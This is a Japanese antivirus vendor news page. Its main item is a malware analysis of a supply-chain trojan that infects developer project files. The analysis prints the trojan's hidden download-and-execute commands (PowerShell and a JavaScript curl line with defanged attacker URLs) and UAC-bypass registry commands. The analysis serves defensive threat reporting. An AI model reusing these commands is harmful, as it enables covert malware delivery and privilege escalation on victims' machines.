全てのニュース

Dr.Web Enterprise Security Suite Control Centerをアップデート

Thu, 30 Jul 2026 09:59:37 GMT

Doctor Webは、Dr.Web Enterprise Security SuiteのControl Center（バージョン13.0.1.202606110）をアップデートします。新バージョンは、2026年7月27日より管理コンソールのWebインターフェースからダウンロードできます。

アップデート内容について

今回のアップデートでは、主にControl Centerの動作安定性の向上と、前バージョンで確認された不具合の修正を行いました。
具体的には、アンチウイルスネットワークツリーでフィルタリング時に子要素が表示されない問題や、管理者への通知送信時およびレポート生成時に発生するエラーを修正しています。
変更点の詳細は、Changelogをご参照ください。

エージェントへの影響について

今回のサーバーアップデートによるエージェントへの影響はありません。サーバーのみが更新対象となるため、エージェントの再起動や再設定は不要です。エージェントは通常どおり動作を継続します。

重要: Dr.Web Serverはアップデートのインストール中に自動的に再起動します。業務への影響を避けるため、システム負荷の少ない時間帯に計画的に実施することを推奨します。

ソフトウェアを安全かつ最適な状態でご利用いただくため、アップデートは適宜実施してください。

Dr.Web Enterprise Security SuiteおよびDr.Webサブスクリプション向け「Anti-spam」コンポーネントを更新

Tue, 21 Jul 2026 14:00:26 GMT

Doctor Webは、Dr.Web Enterprise Security SuiteおよびDr.Webサブスクリプションに含まれるAnti-spamモジュールの更新版（バージョン1.1.2.202604160）をリリースしました。本バージョンは2026年7月XX日よりダウンロードいただけます。

本コンポーネントは、メールトラフィックをリアルタイムでスキャンし、ヘッダー、本文、ハイパーリンク、添付ファイルなど、メールを構成する各要素を解析します。メールクライアントへの負荷を抑えながら動作し、高精度なスパム対策を実現します。

新バージョンでは、スパム検出機能およびリンク解析機能を強化したほか、内部的な改善も実施しました。なお、これに先立ち、不要なメールトラフィックの検出およびフィルタリング性能を向上させる大規模なアップデートもリリースされています。

意： Windows XPをご利用の場合、「ウイルスデータベースのみ更新する」設定が有効になっていると、Dr.Web for Microsoft Outlookプラグインが正常に動作せず、受信メールがすべてスパムとして判定される場合があります。

この設定は、プログラム設定の［更新］から［詳細設定］を開き、［更新されたコンポーネント］で確認できます。
Windows XPをご利用のお客様には、OSを最新バージョンへアップグレードするか、ウイルスデータベースだけでなく、すべてのプログラムモジュールを更新する設定を有効にすることを推奨します。

狙われるソフトウェア開発者：サプライチェーンを攻撃し、感染したPCに幾重もの被害をもたらす新たなトロイの木馬

Thu, 16 Jul 2026 10:11:28 GMT

Doctor Webアンチウイルスラボはサプライチェーンを攻撃する新たなトロイの木馬を発見し、その詳細な分析を行いました。このマルウェアはC++やC#で開発されるプロジェクトを主な標的としています。また、そのペイロードは複数の悪意のある機能を併せ持つため、極めて危険なマルウェアでもあります。それらの機能は、データ窃取、クリップボード内容へのアクセス、バックドアとしての機能、不正なマイニングの実行、そして他のファイルへの感染というものです。

このマルウェアは2025年の第4四半期に初めて発見され、現在に至るまで作成者によって継続的に変更や改良が加えられ続けています。主に感染した実行ファイルやPythonスクリプトを介してインターネット上で拡散され、その感染プロセスは非常に複雑です。本稿では一連の流れを、段階を追ってみていきます。

第1段階：Trojan.DownLoader49.35384

Doctor Web のスペシャリストは、感染した正規アプリケーションファイルの多くに共通するパターンがみられることを発見しました。元の実行ファイルにグローバルオブジェクトが追加されるというものです。トロイの木馬化されたアプリケーションが実行されると、直ちにPEBウォーキング（プロセス環境ブロックの走査）手法を使用してシステムAPIへのアクセス権を取得します。次に、inittermメソッドが関数ポインタのテーブルを先頭から順に走査して初期化します。これら関数のうちの1つが悪意のある関数で、PowerShellコマンドを実行します。このトロイの木馬の一部のバージョンでは、このペイロードは暗号化されています。

Inittermを使用した起動

PowerShellコマンドが悪意のあるファイルTrojan.DownLoader49.35687をダウンロードして実行し、感染プロセスを第2段階へと移行させます。

悪意のあるPowerShellコマンド

感染した実行ファイルに加え、悪意のあるPythonスクリプト（Python.Downloader.255）も発見されています。これらのファイルにも同じ悪意のあるコードが含まれていますが、Fernetを用いて暗号化されており、1行目に大量のスペース（空白文字）を配置するという最も初歩的な難読化手法によって隠ぺいされていました。このケースでも、その実行は多段階で進行します。

悪意のあるPythonスクリプト

第2段階：Trojan.DownLoader49.35687

この段階で、Trojan.DownLoader49.35687は自身がサンドボックスで実行されていないかどうかをチェックします。さらに、同期オブジェクトmutex（ミューテックス）「Global\PFNMX」（固定値）を作成し、それを使用することで、コンピューター上で自身の別のインスタンスがすでに実行されていないかどうかを確認します。そのような同期オブジェクトの例に「\Sessions\1\BaseNamedObjects\Global\PFNMX_0o6u9MMc2QdKvqeHmgPRE008」があります。

また、この第2段階でトロイの木馬はGitHubパブリックリポジトリ（公開リポジトリ）やゲームプラットフォーム「Steam」からC2サーバーアドレスを取得しようとします。攻撃者はそれらのプラットフォームにドメイン名を投稿し、トロイの木馬がそれを読み込んで感染の第3段階となるBackDoor.Siggen2.5906をダウンロードできるようにしています。

攻撃者によって作成されたSteamアカウントには、ドメイン名に関する情報がプレーンテキストで含まれています。

C2ドメイン名が含まれたSteamのプロフィールページ

GitHubには、暗号化されたC2サーバーアドレスがRawファイル「raw[.]githubusercontent[.]com/XxXloverXxX/rustflare/refs/heads/main/crates/engine」として保存されています。トロイの木馬はこのファイルをダウンロードし、まずBase64で、次にキー「ZwFlushKey」を用いたXOR演算によって復号化します。

暗号化されたドメイン名

ダウンロードが完了すると、Trojan.DownLoader49.35687はその悪意のあるコードを、C:\Windows\System32 にある予め指定された41の実行ファイルのうちいずれか1つのプロセスに挿入（インジェクション）します。

接続を確立できたC2サーバーのアドレスはトロイの木馬の内部にハードコードされた文字列に追加され、名前付きパイプpipe\VccFrameworkchannelを介して次の感染段階に渡されます。

第3段階：BackDoor.Siggen2.5906

この段階で、中核となる悪意のあるタスクが実行されます。BackDoor.Siggen2.5906はミューテックスオブジェクトglobal\ PFNX_side（固定値）を作成し、次に、事前に作成済みである前述のパイプを介して第2段階のトロイの木馬からデータを受け取ります。そのデータにはトロイの木馬のIDと、BackDoor.Siggen2.5906の通信先となるC2サーバーのアドレスが含まれています。

システム内での永続化を図るために、BackDoor.Siggen2.5906は「bungee.boo」という名前のファイルをダウンロードします。このファイルには第2段階のトロイの木馬Trojan.DownLoader49.35687のペイロードが含まれており、BackDoor.Siggen2.5906は以下のDLLファイルをこのファイルと置き換えます。

Discordのprofapi.dll
Microsoft Edgeで使用される「domain_actions.dll」（「Domain Actions」フォルダ内）および「well_known_domains.dll」（「Well Known Domains」フォルダ内）
C:\Windows\omadmapi.dll

また、BackDoor.Siggen2.5906はWindowsレジストリを改変し、WinRar.exeで圧縮ファイルを開いた際に悪意のあるコードが実行されるようにすることもできます。

管理者権限が必要な動作を実行するために、BackDoor.Siggen2.5906はUAC（ユーザーアカウント制御）バイパス手法を使用します。まず、BackDoor.Siggen2.5906はランダムな数字の名前を持つ.vbsスクリプトを生成します。このスクリプトに、管理者権限を必要とする命令が含まれています。次に、cmd.exeを使用して以下のコマンドを実行します。

reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe
%APPDATA%\Microsoft\369059.vbs" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
c start /B ComputerDefaults.exe

その後、このトロイの木馬はデータ窃取、クリップボード内容へのアクセス、バックドアとしての機能、不正なマイニングの実行、そして他のファイルへの感染という5つの主要な悪意のあるタスクを実行します。

データ窃取

BackDoor.Siggen2.5906は以下を含むさまざまな情報を盗み出すことが可能です。

ユーザー名やパスワードを入力せずに他のユーザーのアカウントにログインするためのDiscordトークン
Chrome、Edge、Opera、Brave、Yandex Browserなどのブラウザで使用されるパスワードおよびCookieファイル。従来のデータ抽出手法に加えてCCCWF.tmpファイル（Trojan.PWS.Siggen5.33623）を利用する場合もあります。このトロイの木馬はブラウザのプロセスに自身のコードを挿入することでパスワードを傍受し、それらをテキストファイルに保存します。
Telegram Desktopのフォルダ
仮想通貨ウォレットExodusのフォルダ

このトロイの木馬はExodusのフォルダを盗み出すだけでなく仮想通貨ウォレット自体の改変も行います。そのためにapp.asarファイルを探し当て、balista[.]lol/Stb/PokerFace/RTApp[.]txtに記載されたURLからcurlを使用してダウンロードしたファイルと置き換えます。置き換え後のファイルに含まれるindex.jsファイル（Trojan.Siggen32.44702）にはunlock()関数が実装されており、この関数が実行されると、Exodusウォレットのリカバリーフレーズを傍受して攻撃者のサーバーに送信します。

置き換えられたindex.jsファイル

クリップボード内容へのアクセス

このトロイの木馬の持つ悪意のある機能のうちとりわけ危険なものがこの機能です。ユーザーのクリップボード内容を常時監視し、バンクカード情報を盗み出して攻撃者のサーバーへ送信します。また、仮想通貨ウォレットのアドレスを、C2サーバーから受け取った偽のアドレスにすり替えます。

バックドア

この機能は攻撃者が以下のコマンドを使用して感染したPCを遠隔操作することを可能にします。

exc	curlを使用して特定のファイルをダウンロードし、実行する
RVRS	リバースプロキシを起動する
RUNCMD	cmd経由でコマンドを実行する
GETFILE	特定のファイルの内容をC2サーバーにアップロードする
LISTDIR	コンピューター上の特定のディレクトリにあるファイルの一覧をC2サーバーに送信する
TROLL	ユーザーをからかったり怒らせたりするような迷惑な（トロール）コマンドを実行する（例：earrape、scary_sound、rickroll、mute_audio、jumpscare_screamerなど）

不正マイニング

このトロイの木馬はcurlを使用してファイルhttps://files[.]catbox[.]moe/lvh9j3[.]bin（Trojan.Packed2.50953）をダウンロードし、実行します。そのペイロードや設計は第2段階のトロイの木馬のものと類似していますが、BackDoor.Siggen2.5906の代わりにTrojan.BtcMine.3956をダウンロードして展開するという点が異なります。このTrojan.BtcMine.3956は容易に入手可能なオープンソースツールXMRig、T-Rex、TeamRedMiner を利用する不正マイニング用のコンポーネントで、一定期間ユーザーによる操作がない（アイドル状態になった）ことを検知した場合にのみ動作を開始します。

ファイル感染

ファイルを感染させ、その後他のマシンへとさらに感染を拡大していくという能力もこのトロイの木馬の際立った特徴の1つです。感染対象には以下のファイルが含まれます。

imgui_impl_win32.cpp
.suo
.exe
winnetwk.h (Windows SDK)
.vcxproj および .csproj

標的ファイルのパスを特定するため、このトロイの木馬は利用可能なディスクドライブを調べ、コマンドを実行します。以下はAドライブ（A://）の例です。

dir /a /s /b A:\*imgui_impl_win32.cpp A:\*.suo A:\*.exe A:\*.vcxproj A:\*.csproj > %ALLUSERSPROFILE%\ADat.bin3290.

攻撃者は、ソフトウェア開発者が侵害されたプロジェクトを一般に公開することを当てにしています。それにより、そのプロジェクトをビルド、コンパイル、変更する他の開発者のマシンが.suo、.vcxproj、.csprojファイルを介して自動的に感染していきます。そして一般ユーザーは、それらの侵害されたソフトウェア開発ツールを使用して作成された、感染している実行ファイルを実行してしまう可能性があります。

imgui_impl_win32.cppファイル（Trojan.Loader.3129）

imgui_impl_win32.cppはC++向けの人気の高いGUIライブラリ「Dear ImGui」で使用されるファイルです。トロイの木馬はこのファイルに2行のコードを追加します。1行目にはペイロードが含まれ、2行目がそのペイロードを実行します。

ペイロードを含むコード行

ペイロードを実行するコード行

コマンドは以下のとおりです。


start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api[.]tf/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt' -OutFile $env:APPDATA\BK879002.exe; Start-Process -FilePath $env:APPDATA\BK879002.exe -WindowStyle Hidden }"

その結果ライブラリが感染し、その後はC++を使用して作成されるあらゆるアプリケーションに悪意のあるコードが含まれることになります。そしてそれらのアプリケーションが転送されたりダウンロードされたりすることで感染がさらに拡大します。

.suoファイル（Trojan.Loader.3138）

これはMicrosoft Visual Studio開発環境において使用されるファイルで、特定のプロジェクトに関するユーザー設定が保存されています。トロイの木馬は、元のファイルをC2サーバーからダウンロードした感染ファイルに置き換えます。

感染したファイル

その結果、Visual Studio でそのプロジェクトが開かれると、同時に以下の悪意のあるコードも実行されるようになります。


javascript:new ActiveXObject('WScript.Shell').Run('cmd /b /c curl -o \"C:\\ProgramData\\S47LY.exe\" \"https://pee-files[.]nl/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt\" && start \"\" \"C:\\ProgramData\\S47LY.exe\"', 0, false);close();

Winnetwk.hファイル（Trojan.Loader.3184）

Windowsアプリ開発向けにMicrosoftから提供されている公式開発キットの1つがWindows SDKです。

このトロイの木馬はレジストリを使用してWindows SDKのインストールフォルダを特定します。続けて、ネットワーキング機能を担うwinnetwk.hファイルをフォルダ内で探し出し、そのファイルに悪意のあるコードを追加します。

感染したwinnetwk.hファイル

これにより、その後に作成される、winnetwk.hを使用するすべてのアプリに第2段階のトロイの木馬のコードが組み込まれるようになります。

.exeファイルの改ざん

このトロイの木馬は適した .exe ファイルを検索し、自身のAPI およびinitterm初期化関数をそれらのファイルに挿入します。その後、そのファイルは第1段階のトロイの木馬、すなわちTrojan.DownLoader49.35384としての機能を実行し始めます。

感染した.vcxprojファイル（Trojan.Loader.3128、Trojan.Loader.3127）および.csprojファイル（Trojan.Loader.3126）

これらはVisual Studio のC++およびC#プロジェクトファイルです。このトロイの木馬はIDE に「ビルド前イベント（pre-build event）」を追加することで、プロジェクトのビルドが開始される前に悪意のあるコマンドが自動的に実行されるようにします。トロイの木馬の初期バージョンでは、第1段階のものと同様のコードが追加されていました。

初期バージョンのコード

後のバージョンではコードがより複雑になり、難読化も施されています。

後のバージョンのコード

Trojan.Loader.3128の実行段階の1つ

悪意のあるコマンドが実行されると.vbsスクリプトが作成され、このスクリプトがPowerShellペイロードを実行します。このトロイの木馬は、以下のURLに対してクエリを送信します。

youtu.be/akoxddx6lgc
steamcommunity.com/profiles/76561198737324192

これらのアドレスはYouTubeアカウントページを指しており、そこにはBase64で暗号化された別のURLが記載されています。

暗号化されたURLが記載されているYouTubeアカウントページ

トロイの木馬はURLを復号化してC2サーバーアドレスを取得し、そこから第2段階のトロイの木馬と同様のペイロードを入手します。

こうした多岐にわたる悪意のある機能が、このトロイの木馬を極めて危険な脅威たらしめています。システムの感染ならびに他のコンピューターへの拡散を防ぐため、アンチウイルスデータベースを定期的に更新し、インターネットからダウンロードするすべてのファイルをスキャンすることが推奨されます。Dr.Web Security SpaceおよびDr.Web Desktop Security Suiteはこの脅威を確実に検出し削除します。また、.vcxproj、.csproj、imguiファイルについては、悪意のあるコードを除去することで修復が行われます。そのため、Dr.Webユーザーはこの脅威からしっかりと保護されています。

Trojan.DownLoader49.35384の詳細 ※英語

Trojan.DownLoader49.35687の詳細 ※英語

BackDoor.Siggen2.5906の詳細 ※英語

Trojan.BtcMine.3956の詳細 ※英語

Indicators of compromise（セキュリティ侵害インジケーター）

夏休みシーズン到来：お子さまのネット利用を安全に。

Wed, 15 Jul 2026 15:37:25 GMT

夏休みは、お子さまがインターネットを利用する時間が増える季節です。楽しい思い出をたくさん作ってほしい一方で、保護者の皆さまにとっては、オンライン上の安全対策も気になるところではないでしょうか。

ウイルスやフィッシング、不適切なWebサイトなど、インターネット上にはさまざまな脅威が存在します。お子さまが安心してインターネットを利用できる環境づくりには、適切なセキュリティ対策が欠かせません。

現在、夏休み限定キャンペーンとして、Dr.Web Security Space（PC2台・12か月ライセンス）を20％OFFでご提供しています。

1つのライセンスでPC2台まで保護できるため、ご家族でのご利用にもおすすめです。ウイルスやフィッシング、不適切なコンテンツへの対策をはじめ、お子さまのインターネット利用を幅広くサポートします。

キャンペーン期間は2026年7月15日から7月21日までの7日間限定です。

「購入ページに進む」

この機会に、お得な価格でDr.Web Security Spaceをご利用ください。

Dr.Web製品ライセンス使用許諾の更新

Wed, 15 Jul 2026 14:43:47 GMT

Doctor Webは、Dr.Webソフトウェア製品のライセンス使用許諾を更新しました。
更新後のライセンス使用許諾は、以下のページよりご確認いただけます。https://license.drweb.com/agreement/

主な変更点：

本文を項目ごとのセクションに整理し、必要な情報を見つけやすくしました。
用語を定義し、本文をより正確に理解できるようにするとともに、解釈の相違が生じにくい構成としました。
Dr.Webソフトウェア製品の利用に関する許可・禁止事項を明確にしました。
「購入したライセンスはどのデバイスで利用できるのか」「保護対象となるデバイスを所有している必要があるのか」など、お客様からよく寄せられるご質問について説明を追加しました。

更新後のライセンス使用許諾の適用後、Dr.Webソフトウェアのご利用をもって新しい使用許諾条件に同意したものとみなされます。変更内容に同意いただけない場合は、Dr.Webソフトウェアのご利用を中止し、お使いのデバイスからアンインストールしてください。

なお、このライセンス使用許諾は、Dr.Web FixIt!およびDr.Web vxCubeを除く、すべてのDr.Web製品ファミリーに適用されます。Dr.Web FixIt!およびDr.Web vxCubeには、それぞれ専用のライセンス使用許諾が適用されます。

2026年第2四半期のモバイルマルウェアレビュー

Tue, 07 Jul 2026 05:00:00 GMT

2026年7月XX日

Dr.Web Security Space for mobile devicesによって収集された検出統計によると、2026年第2四半期には第1四半期と比較してバンキング型トロイの木馬Android.Bankerの活動に31.83%の減少がみられました。ただし、このトロイの木馬ファミリーは依然として最も多く検出されたAndroidマルウェアとなっており、マルウェア検出数全体の23.28%を占めています。Android.Bankerは金融機関から届くワンタイムコードを含んだSMSやインターネットバンキングにアクセスするためのIDとパスワードなどといったさまざまな機密情報を盗むほか、フィッシングウィンドウを表示することもできます。第1四半期同様、サブファミリーであるAndroid.Banker.Mamontも多く検出されています。このサブファミリーには、多種多様な悪意のあるアプリが含まれています。

広告を表示させるトロイの木馬Android.MobiDashおよびAndroid.HiddenAdsの活動は第2四半期にも減少を続けました。しかしながら、これらは今なお多く検出されるマルウェアとなっており、一部の亜種はいまだ検出数上位の座をキープし続けています。/p>

ロジックを難読化する目的でジャンクコードが追加されたアプリ（Tool.Obfuscator.TrashCodeとして検出）が66%以上を占めて前四半期に引き続き最も多く検出されたリスクウェアとなりました。コードの追加に使用されているのはAndroidアプリを改造するためのツールNP Managerです。このツールは、アンチウイルスによる検出を回避する目的でバンキング型トロイの木馬Android.Banker.Mamontなどの悪意のあるアプリにも使用されています。

2番目に多く検出されたリスクウェアも同じくNP Managerツールを使用して改造されたアプリでしたが、ここでは別の機能が使用されています。NP Managerツールにはアプリのコードを難読化して保護するためのモジュールや、改造後にデジタル署名検証をすり抜けるためのさまざまなモジュールが実装されており、マルウェア作成者は悪意のあるアプリがアンチウイルスに検出されないようにする目的でこの機能を悪用しています。Dr.Webアンチウイルス製品はこのような形で改造されたアプリをTool.NPModとして検出します。

Tool.LuckyPatcherユーティリティを使用して改造されたアプリも引き続き多く検出されたリスクウェアとなりました。アプリを改造するために、このツールは特別に作成されたスクリプトをインターネットからダウンロードします。

第2四半期に最も多く検出された望ましくないアプリケーションは、存在しない脅威の検出を通知して感染から「修復」するために製品の完全版を購入するよう促す偽アンチウイルスProgram.FakeAntiVirusとなりました。望ましくないアプリケーション検出数全体の44%以上を占めています。

最も多く検出されたアドウェアはAndroidアプリに組み込まれるモジュールAdware.AdPushでした。Adware.AdPushはユーザーを騙すような広告を含んだ通知を表示させ、さまざまな機密情報を収集します。最適化アプリAdware.Bastion.1.originも多く検出されています。これらのアプリはユーザーを欺いて誘導するような虚偽の通知メッセージ（メモリ不足やシステムエラーに関するものなど）を定期的に表示します。その目的は「最適化」中に広告を表示させることにあります。そのほか、Adware.Opensite.15の活動も依然として活発でした。このAdware.Opensite.15はゲーム内でリソースを入手するためのチートツールに偽装していますが、実際には広告を含んだWebサイトを開くだけのアプリです。

6月、Doctor WebのエキスパートはAndroid OSのセキュリティ制限を回避してバックグラウンドで広告を表示させるAndroid.MagicAd.1について記事を公表しました。Android.MagicAd.1はそのためにサードパーティ製アプリを悪用するほか、感染させたデバイスのメーカーに応じてそれぞれ異なる特定の手法を使用します。このトロイの木馬の詳細についてはこちらのニュースリリースをご覧ください。

Google Playでは第2四半期を通して、ユーザーを有料サービスに登録させる悪意のあるアプリが新たに発見されています。それらの中にはAndroid.SubscriptionおよびAndroid.Jokerファミリーに属するトロイの木馬が含まれていました。

2026年第2四半期の主な動向

バンキング型トロイの木馬Android.Bankerが引き続き最も多く検出されたAndroidマルウェアとなる
バンキング型トロイの木馬をアンチウイルスによる検出から保護するために、Androidアプリ改造ツールが引き続き積極的に使用される
広告を表示するトロイの木馬Android.MobiDashとAndroid.HiddenAdsの活動が減少を続ける
サードパーティ製アプリを悪用してAndroid OS の制限を回避し、バックグラウンドで広告を表示させるトロイの木馬Android.MagicAd.1が発見される
Google Playに新たな悪意のあるアプリが出現

Dr.Web Security Space for mobile devicesによる統計

Android.Click.1812: さまざまなWebサイトをバックグラウンドで密かに読み込むことができる、悪意のあるWhatsApp Messenger Mod（改造版）の検出名です。
Android.HiddenAds.675.origin
Android.HiddenAds.4236: 迷惑な広告を表示するよう設計されたトロイの木馬アプリです。このファミリーに属するトロイの木馬は無害でポピュラーなアプリを装って拡散されることが多く、別のマルウェアによってシステムディレクトリ内にインストールされる場合もあります。通常、これらのトロイの木馬はAndroidデバイス上に侵入すると自らの存在をユーザーから隠そうとします（ホーム画面からアイコンを「隠す」など）。
Android.Banker.Mamont.80.origin: 金融機関から送信されるワンタイムコードを含んだSMSや通知の内容を傍受し、機密情報を窃取するバンキング型トロイの木馬です。収集される情報には感染したデバイスに関する技術的データ、インストールされているアプリの一覧、SIMカード情報、通話履歴、送受信SMSなどが含まれます。
Android.FakeApp.1600: 設定にハードコードされたWebサイトを開くトロイの木馬アプリです。既知の亜種ではオンラインカジノのサイトが開かれます。

Program.FakeAntiVirus.1
Program.FakeAntiVirus.4
Program.FakeAntiVirus.4.origin
Program.FakeAntiVirus.5: アンチウイルスソフトウェアを模倣するアドウェアアプリの検出名です。これらのアプリは存在しない脅威について偽の通知をすることでユーザーを騙し、ソフトウェアの完全版を購入するよう要求します。
Program.FakeMoney.11: さまざまなタスクを完了することでお金を稼ぐことができるとうたうAndroidアプリケーションの検出名です。このアプリはタスクが完了するたびに報酬が貯まっていくかのように見せかけます。「稼いだ」お金を引き出すために（多くの場合、一般的に広く使用されている支払いシステムや銀行を指定されます）、ユーザーは一定の金額を貯める必要があるとされていますが、たとえその金額が貯まったとしても実際にお金を手にすることはできません。このウイルスレコードは、そのようなアプリのソースコードを基に作成された他の望ましくないソフトウェアの検出にも使用されます。

Tool.Obfuscator.TrashCode.1
Tool.Obfuscator.TrashCode.2: Androidアプリを改造するためのハッカーツールを用いてジャンクコードが追加されたAndroidアプリの検出名です。このような改造はアプリのロジックを難読化する目的で行われ、バンキング型トロイの木馬や海賊版アプリで多く見られます。
Tool.NPMod.3
Tool.NPMod.1: NP Managerユーティリティを使用して改造されたAndroidアプリの検出名です。NP Managerにはアプリのコードを難読化して保護するためのモジュールや、改造後にデジタル署名の検証をバイパスするためのモジュールが実装されています。多くの場合、難読化はマルウェアの検出や解析をより困難にする目的で行われます。
Tool.LuckyPatcher.2.origin: Androidデバイスにインストールされたアプリを改変できるようにする（パッチを作成する）ツールです。アプリの動作ロジックを変更したり特定の制限を回避したりする目的で使用されます。たとえば、ユーザーはこのツールを使用することで、バンキングアプリのルートアクセス検証を無効にしたり、ゲーム内で無限のリソースを取得したりできます。パッチを追加するために、このユーティリティは特別に作成されたスクリプトをインターネットからダウンロードしますが、このスクリプトは誰でも作成して共通のデータベースに追加することができます。そのようなスクリプトの機能が悪意のあるものである場合もあることから、このツールを使用して作成されたパッチは潜在的な脅威となる可能性があります。

Adware.Bastion.1.origin: 「最適化」中に広告を表示させる目的で、ユーザーを騙して誘導するような虚偽の通知（ストレージ容量不足やシステムエラーに関するものなど）を定期的に出す最適化ツールの検出名です。
Adware.Opensite.15: ゲーム内でリソースを入手するためのチートツールを装って拡散されている、実際には広告を表示させるアプリです。リモートサーバーから設定を受け取り、それを使用してバナー広告、ポップアップウィンドウ、動画クリップなどの広告を含んだWebサイトを開きます。
Adware.AdPush.3.origin: Androidアプリに組み込まれるアドウェアモジュールです。ユーザーを騙すような紛らわしい、広告を含んだ通知（オペレーティングシステムからの通知に似せたものなど）を表示させます。また、さまざまな機密情報を収集し、別のアプリをダウンロードしてインストールを開始することができます。
Adware.Fictus.1.origin: 人気のAndroid アプリやゲームのクローンバージョンに組み込まれるアドウェアモジュールで、その際にnet2shareパッカーが使用されます。この方法で作成されたアプリのコピーはさまざまな配信ストアから拡散され、Androidデバイス上にインストールされると迷惑な広告を表示します。
Adware.Airpush.7.origin: Androidアプリに組み込まれ、さまざまな広告を表示するアドウェアモジュールのファミリーです。表示されるものはモジュールのバージョンや亜種によって異なり、広告を含む通知やポップアップウィンドウ、バナーなどがあります。多くの場合、攻撃者はユーザーにさまざまなソフトウェアをインストールするよう促してマルウェアを拡散させる目的で、これらのモジュールを使用しています。さらに、これらモジュールは個人情報を収集してリモートサーバーに送信します。

Google Play上の脅威

2026年第2四半期には、ユーザーを有料サービスに登録させるAndroid.Subscriptionファミリーに属する新たなトロイの木馬アプリが複数、Doctor Webのウイルスアナリストによって発見されました。これらは、オンラインシネマ「ShowLounge - TV & Dramas（Android.Subscription.25）」やゲーマー向けアプリ「AIM: Crosshair Asist（Android.Subscription.26）」、ゲーム「True Cargo Drive（Android.Subscription.27）」、ツール「Battery 3D: Charge Effects（Android.Subscription.28）」、画像編集ソフトウェア「PixStudio - Photo Editor（Android.Subscription.29）」などさまざまなアプリを装って拡散されていました。合計で260万回以上ダウンロードされています。

2026年第2四半期にGoogle Playで検出されたAndroid.Subscriptionトロイの木馬アプリの例

この種の悪意のあるアプリは、Wap Clickテクノロジーを使用して有料モバイルサブスクリプションを有効化するWebサイトを開きます。ユーザーは携帯電話番号を入力するよう促され、従ってしまうと、サブスクリプションの有効化が試みられます。

同じくユーザーを有料サービスに登録させるトロイの木馬Android.Jokerの潜んだアプリも引き続きGoogle Playから拡散されています。これらはメッセンジャー「Chat Messages（Android.Joker.2625）」や「Easy Messages（Android.Joker.2632）」、そしてシステム最適化ツール「Smart File Cleaner（Android.Joker.2614）」、「Junk Clean Master（Android.Joker.2618）」、「Fast Cleaner（Android.Joker.2626）」に偽装していました。

トロイの木馬Android.Jokerが隠されていた悪意のあるアプリの1つ

お使いのAndroidデバイスをマルウェアや望ましくないプログラムから保護するために、Android向け Dr.Webアンチウイルス製品をインストールすることをお勧めします。

Indicators of compromise

2026年第2四半期のウイルスレビュー

Tue, 07 Jul 2026 05:00:00 GMT

2026年7月XX日

Dr.Webアンチウイルスの検出統計によると、2026年第2四半期に検出された脅威の合計数は第1四半期と比較して5.72%増加し、ユニークな脅威の数も95.32%増加しました。最も多く検出された脅威は、広告を表示させるアプリやトロイの木馬、悪意のある仮想通貨マイナー、別のマルウェアを実行するトロイの木馬となっています。

メールトラフィック内では、悪意のあるスクリプトとさまざまな種類のトロイの木馬（ダウンローダ、ドロッパー、パスワードスティーラ、マイナーなど）が最も多く検出されました。バックドアやフィッシングドキュメント、各種エクスプロイトも多く拡散されています。

最も多く検出された暗号化ランサムウェアはTrojan.Encoder.35534、Trojan.Encoder.41868、Trojan.Encoder.37400となりました。Doctor Webテクニカルサポートサービスに寄せられたファイルの復号化リクエスト数は前四半期と比較してわずかに減少しています。

2026年第2四半期には、メッセンジャーアプリ「MAX」のユーザーを標的としたフィッシング攻撃の増加がDoctor Webのインターネットアナリストによって観測されました。そのほか、詐欺師は話題のイベントやニュースに便乗し、それらを既存の詐欺手口に組み込んでいました。

5月、Doctor WebはmacOSユーザーとWindowsユーザーを標的とした悪意のあるアプリJobStealerについて注意を喚起しました。脅威アクターはWeb面接（オンライン面接）を行うという口実で被害者を悪意のあるサイトに誘導し、Web会議アプリに偽装したトロイの木馬JobStealerをダウンロードさせていました。JobStealerはおよそ300ものブラウザ拡張機能型仮想通貨ウォレットのデータやTelegramメッセンジャーファイル、ブラウザに保存されているパスワードとバンクカード（クレジットカードやデビットカード）情報、Cookieファイルなどといったさまざまな機密情報を盗み取ります。

6月、Doctor WebのアンチウイルスラボはAndroid OSのセキュリティ制限を回避してバックグラウンドで広告を表示させる新たなアドウェア型トロイの木馬Android.MagicAd.1について記事を公表しました。Android.MagicAd.1はそのためにサードパーティ製アプリを悪用するほか、感染させたデバイスのメーカーに応じてそれぞれ必要な手法を選択して使用します。

モバイル脅威では、バンキング型トロイの木馬Android.Bankerが最も多く検出されたAndroidマルウェアとなりました。また、マルウェア作成者はアンチウイルスによる検出を回避することを目的に、Androidアプリを改造するためのツールを積極的に悪用し続けています。Google Playでは第2四半期を通して、ユーザーを有料サービスに登録させる新たなトロイの木馬アプリが複数発見されました。

2026年第2四半期の主な動向

検出された脅威の合計数が増加
ユニークな脅威の数が大幅に増加
ランサムウェアに暗号化されたファイルの復号化リクエスト数が第1四半期と比較して減少
ロシアのメッセンジャーアプリ「MAX」のユーザーを標的とした詐欺攻撃が増加
バンキング型トロイの木馬Android.Bankerが引き続き最も多く検出されたAndroidマルウェアとなる
Android OS の制限を回避してバックグラウンドで広告を表示させるトロイの木馬が発見される
macOSユーザーとWindowsユーザーから機密情報を窃取するよう設計されたトロイの木馬JobStealer が拡散される

Doctor Webサーバーによる統計

2026年第2四半期に最も多く検出された脅威：

Adware.Downware.20091
Adware.Downware.20766: 海賊版ソフトウェアのインストーラとして拡散されていることの多いアドウェアです。
Trojan.Siggen31.34463: 感染したシステムにさまざまなマイニング型トロイの木馬やアドウェアをダウンロードするよう設計された、Go言語で記述されたトロイの木馬です。このマルウェアは %appdata%\utorrent\lib.dllに置かれるDLLファイルで、Torrentクライアント「uTorrent」のDLL検索順序ハイジャッキング脆弱性を悪用することで起動します。
Trojan.BPlug.4268: WinSafeブラウザ拡張機能の悪意のあるコンポーネントの検出名です。このコンポーネントはブラウザに迷惑な広告を表示させるJavaScriptファイルです。
Trojan.Starter.8319: マルウェアTrojan.AutoIt.289とそのコンポーネントを起動する悪意のあるXMLスクリプトの検出名です。

メールトラフィック内で検出された脅威の統計

2026年第2四半期にメールトラフィック内で最も多く検出された脅威：

